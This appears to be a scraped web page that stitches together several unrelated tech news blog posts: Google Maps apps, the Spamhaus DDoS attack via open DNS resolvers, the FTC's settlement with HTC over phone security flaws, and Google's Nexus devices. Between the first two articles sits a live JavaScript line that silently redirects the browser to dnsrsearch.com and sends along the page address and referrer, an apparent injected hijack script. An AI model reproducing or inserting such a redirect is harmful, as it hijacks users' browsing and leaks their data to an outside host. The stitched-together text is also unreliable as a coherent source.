Pogue’s Posts Blog: A Better Google Maps App for Apple and Android Devices

Google Map’s new directory buttons.

Our story so far: Last September, Apple decided to dump the Google Maps app that had been on the iPhone for years. Apple replaced it with its own Maps app — software with so many problems that Apple’s chief executive, Tim Cook, apologized and even recommended that people use other apps until Apple could fix its own one.

In December — incredibly quickly — Google responded by introducing its own Maps app for iPhone. It’s a spectacular app, among the best apps ever written. It’s fast, beautiful and so good at guessing what you mean when you start typing a destination, it’s almost mind reading. You can read the details here.

Today, that delightful news gets even better. Not only has Google improved Google Maps for iPhone, it’s also brought that same free app to three machines that never had it: the iPad, Android phones and Android tablets. (The Android versions are available for download today; it requires the Ice Cream Sandwich or Jelly Bean version of Android — recent versions, in other words. The iOS versions will be available shortly.)

For Androidians, the biggest news is the design of the app itself. It’s modeled on the iPhone app, the one that’s simple and fast and elegant. It’s also uncluttered by the morass of menus that have always plagued the existing Maps app for Android.

But for practitioners of all religions — tablet, phone, iOS, Android — the other news is the new features that today’s new version brings. They include:

* Greater speed. All app versions are faster than before.

* Better place information. Half the time, you don’t even need navigation instructions; you just use Google Maps as the world’s smartest Yellow Pages, to find a nearby restaurant, movie theater, drugstore or whatever.

The details for found places now include a one-line description (“Chinese restaurant famous for dim sum”); a five-star rating system (including a decimal — “4.3,” for example — because, let’s face it, almost everything these days winds up with a four-star rating); the ability to upload your own photos of a place; and a more complete integration of the Zagat guides, which Google bought.

* Greater emphasis on exploration. Google Maps has always excelled at getting you to a known destination. But Google now wants the app to help you choose a restaurant, bar, store, recreation center or hotel, at least in major United States and European cities.

If you tap in the Search box without typing anything, new, photographic buttons appear: Eat, Drink, Shop, Play, Sleep. Each opens lists of corresponding facilities, sorted by criteria like Local Favorites, Popular with Tourists and so on. (Google says that these recommendations are never paid placement.)

* Traffic incidents and auto-rerouting. At last: Google Maps shows more than colored lines indicating current traffic speeds on major roads. Now it also displays tiny icons that represent accidents and construction. Tap one to read the details: “Right lane blocked on 680,” for example. (In case you were wondering, the information on traffic incidents doesn’t come from Waze, the traffic-incident app that Google recently bought. That data has yet to be incorporated into Maps.)

Better yet: Maps now looks ahead for traffic jams on your route, and interrupts your drive with a dialog box that offers to route you around it (if the new path would be quicker, of course). On its own.

* Offline maps. This feature is something of an Easter egg. It’s undocumented, a feature inserted by Google engineers simply because they wanted it. You can access it only if you know the secret. But wow, is it worth it.

This feature memorizes the map data for whatever area is displayed on your screen right now (up to a whole city in size). That way, you can use Google Maps even when you’re overseas and don’t want to turn on data roaming (because that’s insanely expensive), or when you’re in an area where there’s no cell reception. It’s very handy.

To capture a map snapshot like this, tap in the Search box. Use the speech-recognition button and say, “OK Maps.” (It’s a riff on the command “OK Glass” that prepares Google Glass, the company’s “smart headband,” for voice commands.)

A message quietly lets you know you’ve successfully stored the displayed area.

*Nice tablet layouts. On a tablet, Maps really shines. The app smartly reformats itself to take best advantage of whatever screen shape you have: two or three columns of place listings, for example, and luxuriously displayed photos and reviews for each business.

This new, improved Maps app works identically on both major flavors of phone and tablet. You know what? I don’t care how much you distrust Google and its motives. This is crazy good software, some the best work Google has ever done.

Bits: F.A.A. to Consider Relaxed Rules for Devices on Planes

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Devices Like Cable Boxes Figured in Internet Attack

The organization most suspected, victims said, was Stophaus, an elusive group of disgruntled European Internet users, although Sven Olaf Kamphuis, its spokesman, denied he was responsible for the attacks. At the same time, he shifted blame to Russian Internet service providers, which he said were retaliating against Spamhaus, a European anti-spam group, for blacklisting them.

But the real enablers of the attack were the operators of more than 27 million computers around the globe who left their equipment wide open to a motivated attacker. Those enablers are not just companies, but regular people with home cable boxes.

“There is a big possibility that you are part of the problem without even knowing it,” said Paul Vixie, chairman of the Internet Software Consortium, a nonprofit company responsible for the software used by many of the servers that power the Internet.

The servers the attackers used — what the Internet community calls open recursive servers or, more commonly, open resolvers — are simply home Internet devices, corporate servers, or virtual machines in the cloud that have been sloppily configured to accept messages from any device around the globe.

Open resolvers have been set up in such a way that they are not unlike the naïve users of public Wi-Fi who forget to turn off their file-sharing settings, so that any hacker on the Internet can creep inside the computer. It’s similar to PC users who do not realize that by not updating their software, they let their computers get infected with malware and used as a zombie in a cyberattack.

The difference is that if you think of a computer as a digital weapon, then an open resolver is a machine gun. Attackers can use open resolvers to amplify the strength of a cyberattack by a factor of 100.

In this week’s attack on Spamhaus and the company hired to fight it, CloudFlare, attackers made use of more than 100,000 open resolvers to inflict an attack that reached 300 billion bits per second, the largest such attack ever reported. When they could not take down those targets, they aimed and fired open resolvers at the world’s major Internet exchanges, first London, then Amsterdam, Frankfurt and then Hong Kong.

“At some point, we thought, ‘They are going to hit everything at once, and that’s when this gets real,’ ” said Matthew Prince, the chief executive of CloudFlare. “That’s the nightmare scenario that hasn’t happened — yet.”

“We’ve now seen an attack that begins to illustrate the full extent of the problem,” Mr. Prince wrote in a blog post.

Closing an open resolver, unfortunately, is not as simple as flipping a switch or downloading some software. Finding out if your home cable box is an open resolver, for instance, requires you to call your cable company and tell them that you do not want to be running an open resolver — a tough request when most of the world’s population does not even know what an open resolver is.

Recent efforts have been made to increase awareness of the issue. Computer security experts have recently started “naming and shaming” the operators of open resolvers. The DNS Measurement Factory, one such group, published a survey of top offenders by network, and more recently the Open Resolver Project published a full list of the 27 million open servers online.

The campaign is making slow progress; thousands dropped off those lists in the last few months.

But Dr. Vixie calls the open resolvers just the low-hanging fruit. Even if they were all fixed tomorrow, there are other types of servers that could just as easily be used to amplify an attack, a fact that hackers are eager to point out.

HTC Settles F.T.C. Charges Over Security Flaws in Devices

The Federal Trade Commission charged HTC with customizing the software on its Android- and Windows-based phones in ways that let third-party applications install software that could steal personal information, surreptitiously send text messages or enable the device’s microphone to record the user’s phone calls.

The action is the first attempt by the commission to police a manufacturer of mobile devices. As smartphones and tablets become a common way for consumers to shop, bank and chat online, personal information and privacy will need to be guarded.

HTC America, based in Bellevue, Wash., agreed to settle the civil suit with the commission by issuing software patches that close the security holes, and by creating a security program that will be monitored by an independent party for the next 20 years. The F.T.C. does not have the authority to assess fines in consumer protection cases.

“The company didn’t design its products with security in mind,” Lesley Fair, a senior lawyer in the commission’s Bureau of Consumer Protection, wrote in a blog post. “HTC didn’t test the software on its mobile devices for potential security vulnerabilities, didn’t follow commonly accepted secure coding practices and didn’t even respond when warned about the flaws in its devices.”

An HTC official said Friday that the company had already started to update its software and distribute it to users of some, but not all, of the affected phones.

“Working with our carrier partners, we have addressed the identified security vulnerabilities on the majority of devices in the U.S. released after December 2010,” Sally Julien, an HTC spokeswoman, said in a statement. “We’re working to roll out the remaining software updates now and recommend customers download them once available.”

“Privacy and security are important,” the statement added, “and we are committed to improving practices that help safeguard our customers’ devices and data.”

The trade commission charged that the security flaws resulted from HTC’s modifying the operating system software used on most of the affected phones. In the case of Android, created by Google, the system is designed to protect sensitive information and phone functions through what is known as a permission-based security model.

That requires a user, when installing an application that is not a standard part of the operating system, to be notified and to agree that the application could gain access to certain information or functions.

HTC, however, preinstalled certain apps on its phones in a way that, in addition to preventing consumers from removing them, disabled the permission-based model and allowed newly installed apps to have immediate access to personal data.

“The analogy isn’t exact,” wrote Ms. Fair of the F.T.C., “but it’s like giving a friend the combination to a safe only to find out he’s handing it over to anyone who asks.”

That security hole could, for example, let the rogue software secretly record users’ phone conversations or track their location.

Flaws in the security system could also give third-party apps access to phone numbers, contents of text messages, browsing history and information like credit card numbers and banking transactions. Those flaws also affected HTC phones that used Windows-based operating systems.

While HTC’s actions introduced numerous security vulnerabilities to its phones, a commission official said it was not clear how many users experienced illegal incursions into their phones and personal information.

The flaw in the company’s phones has been known since at least 2011. HTC acknowledged the problems at that time and developed software patches for at least some of the deficiencies that year.

But the problems were far from minor. The F.T.C. said that text-message toll fraud, in which a hacker causes a phone to send text messages to a number that charges the user for delivery of the message, “is one of the most common types of Android malware,” or malicious software.

HTC’s user manuals either said or implied that a user was protected against malware because of the permission-based security, the commission said.

The commission will collect public comments on the proposed remedies for 30 days, after which it will decide whether to formally carry out the order. If HTC subsequently violates the order’s restrictions and requirements, it faces civil penalties of up to $16,000 a violation.

Bits Blog: Like Apple, Google Now Has Devices That Come in Three Sizes

From top: the Nexus 4, Nexus 7 and Nexus 10.

With the addition of the iPad Mini, Apple offers touch-screen devices in three different sizes. Now its competitor Google is doing the same, introducing a 10-inch tablet, an upgraded seven-inch tablet and a new smartphone.

Introduced Monday, the Nexus 10, which Google developed with Samsung, is the company’s first tablet that competes directly with Apple’s 9.7-inch iPad. Most significantly, it undercuts the iPad’s price: a Nexus 10 with Wi-Fi and 16 gigabytes of storage costs $400, compared with $500 for an equivalent iPad. Google did not say whether a model with cellular data would be available.

Google’s Nexus 4 smartphone, which it developed with LG, has a 4.7-inch screen and wireless charging capability. Google highlighted its new camera software, called Photo Sphere, which allows a user to snap a picture up and down in different directions and stitch them together into a 360-degree view. (For comparison, the iPhone 5 has a four-inch screen and camera software that allows creation of a panoramic photo by panning left or right.) The phone starts at $200 with a T-Mobile contract, or $300 unlocked, without a contract.

Google also upgraded its Nexus 7 tablet, which was introduced this year, to include a cellular data connection called HSPA+, which is the predecessor to the newest cell technology, 4G LTE. The model with HSPA+ and 32 gigabytes of storage costs $300, and it is compatible with AT&T’s network.

All the devices include Google’s latest Android software, 4.2 Jelly Bean. Among its features, Jelly Bean includes Google Now, a personal assistant that keeps track of searches to do things like display the score of a favorite sports team, or provide updates on the status of an airline flight.

This post has been revised to reflect the following correction:

Correction: October 29, 2012

An earlier version of this post misidentified the company that Google worked with to create the Nexus 10. It was Samsung, not LG. Thanks to commenter Joie2 for spotting the error.